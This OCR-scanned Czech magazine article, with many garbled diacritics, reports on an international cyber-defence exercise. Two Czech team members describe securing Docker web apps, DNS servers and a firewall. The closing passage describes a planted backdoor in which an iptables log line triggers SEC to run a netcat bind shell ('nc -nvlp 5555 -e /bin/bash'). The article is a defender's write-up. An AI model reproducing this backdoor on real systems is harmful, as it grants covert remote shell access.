Aktudlni udéalosti

pod tak. V poslednich letech pfibyla v rdmci cviceni
i pravni a medidlni ¢4st cviceni, ve které dedikovany
tym fe$i prdvni otdzky ¢ komunikaci s médii.

Aby takové otdzky mohli ale zodpovédét, pottebuji
informace od samotnych sprévcii systémil, tedy tech-
nického tymu. TakZe je tfeba védét, Ze se ttok viibec
uskute¢nil, idedlné odkud, na co cilil, jakého byl typu
a byl-li tspésny.

Tyto informace je také nutné alespori v krdtkosti
sepsat pro ,reporting tym®, ktery zprévu ,ucese, do-
plni a odevzdd k bodovani. Do toho je nutné komu-
nikovat s uzivateli, ktef{ si stézuji v ptipadé, Ze néco
nefunguje — pokud se jim nedostane véasné odpovédi
a vyfeSeni trouble tiketu, opét to znamend bodovou
ztratu.

Ukoli je mnoho, ¢asu je mdlo a kazdy dalsi po-
zadavek hoff je$té vic neZ ten predchozi — to vytvaii
poctivé stresové prostiedi, které se snazi co nejvice
piiblizit atmosféte redlné krizové situace.

Praktické poznatky

Protoze posilovdni schopnosti bezpe¢nostnich tymu
v oblasti kybernetické bezpecnosti je jednim z cila
projektu Strengthening cyber-security capacities in
the Czech Republic, spolufinancovaném Ndstrojem
Evropské unie pro propojeni Evropy, mély sdruzeni
CZ.NIC a CSIRT.CZ moznost poslat na cviceni
hned dva zdstupce bezpe¢nostniho tymu. Tady je po-
hled ptimych tcastnikt Filipa Pokorného a Martina
Kunce.

Filip Pokorny: J4 jsem byl souddsti webového
tymu, se zaméfenim na skupinu stroji s kontejneri-
zaénim ndstrojem Docker, ve kterém bézely webové
aplikace a jejich back-endy a databdze (to vée na tfech
strojich v tzv. docker swarmu). Mym tikolem bylo apli-
kace zabezpecit po vSech strankdch.

Od zkontrolovdni konfiguraci Dockeru samot-
ného az po auditovéni jednotlivych kontejnerti. To
ve vysledku znamenalo zkontrolovat i zdrojové kédy
webovych aplikaci (na tom se nds nastésti podilelo vice)
a opravit nalezené zranitelnosti (nékteré aplikace byly
vytvofeny na miru cviden{ a mohly mit napiiklad
obfuskovany kéd ¢ amyslné piipraveny backdoor).

46 SECURITYWORLD 2/2019

Zdroj: Ccdcoe.org

[ Letos se Cesko
umistilo na druhém
misté, na medai-
lovych prickach uz
dokonce potreti
viadé. ]
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Po jejich opraveni bylo nutné aplikaci opét nasadit
a doufat, Ze jsme opravami nerozbili z4dné z auto-
matizovanych testd, které boduji dostupnost a hlavné
pouzitelnost nasich aplikaci.

Cviceni vytvéii vybornou napjatou atmosféru, ve
které je nutné zachovat pofddek a udrzet systémy bé-
zici i v nepfeberném chaosu déni.

Navic se ¢lovek casto setkdval s technologiemi, keeré
neznd, a musi je tak pro cviceni nastudovat, aby je
umél pouzivat a zabezpedit.

Martin Kunc: Moji primérni zodpovédnosti byly
linuxové DNS servery a jeden firewall. DNS servery
byly celkem ¢tyfi stroje. Na nich béZzel jednak Knot
DNS —jakozto autoritativni DNS server, a potom také
dnsdist.

Kromé zabezpeceni téchto servert bylo mym tko-
lem i blokovdn{ doménovych jmen, které vyuzival jiz
bézici malware pro komunikaci s fdicimi stroji.

Zminény firewall pak béZzel na OS Debian a jeho
role spodivala ptedev§im v pfipojeni segmentu IPv6
only sité k internetu, a to tak, aby se bylo mozné do-
stat i na stroje, které IPv6 adresu nemaji.

Kontroloval jsem i dal$i linuxové stroje a opravoval
nedostatky v konfiguraci iptables. Mym nejzajimavéj-
$im ndlezem byla zadn{ vrdtka na firewallu, kterd ce-
kala na pfijeti konkrétniho sitového packetu, coz mélo
za ndsledek otevieni portu, pres ktery mohl ttoénik
neruSené pfistoupit do systému.

Prvni &4sti tohoto backdooru bylo zddnlivé ne-
vinné iptables pravidlo, které pii pfijeti konkrétniho,
le¢ neobvyklého paketu zaznamenalo uddlost do
logu s fetézcem "EVIL CONNECTION ATTEMPT:". AZ o néco
pozdéji jsem nalezl bézici legitimni (byt do té doby
pro mé nezndmy) proces SEC (Simple Event Corre-
lator).

Vzhledem k tomu, ze tento néstroj mél za tkol
monitorovan{ logt, sklddacka do sebe zacala zapadat.
Pravé jeho konfigurace méla na starost poskytnout
tto¢niktim vzdéleny piistup pomoci tohoto ptikazu:
"ne -nvlp 5555 -e /bin/bash", a to hned na to, co se v logu
objevi fetézec "EVIL". |





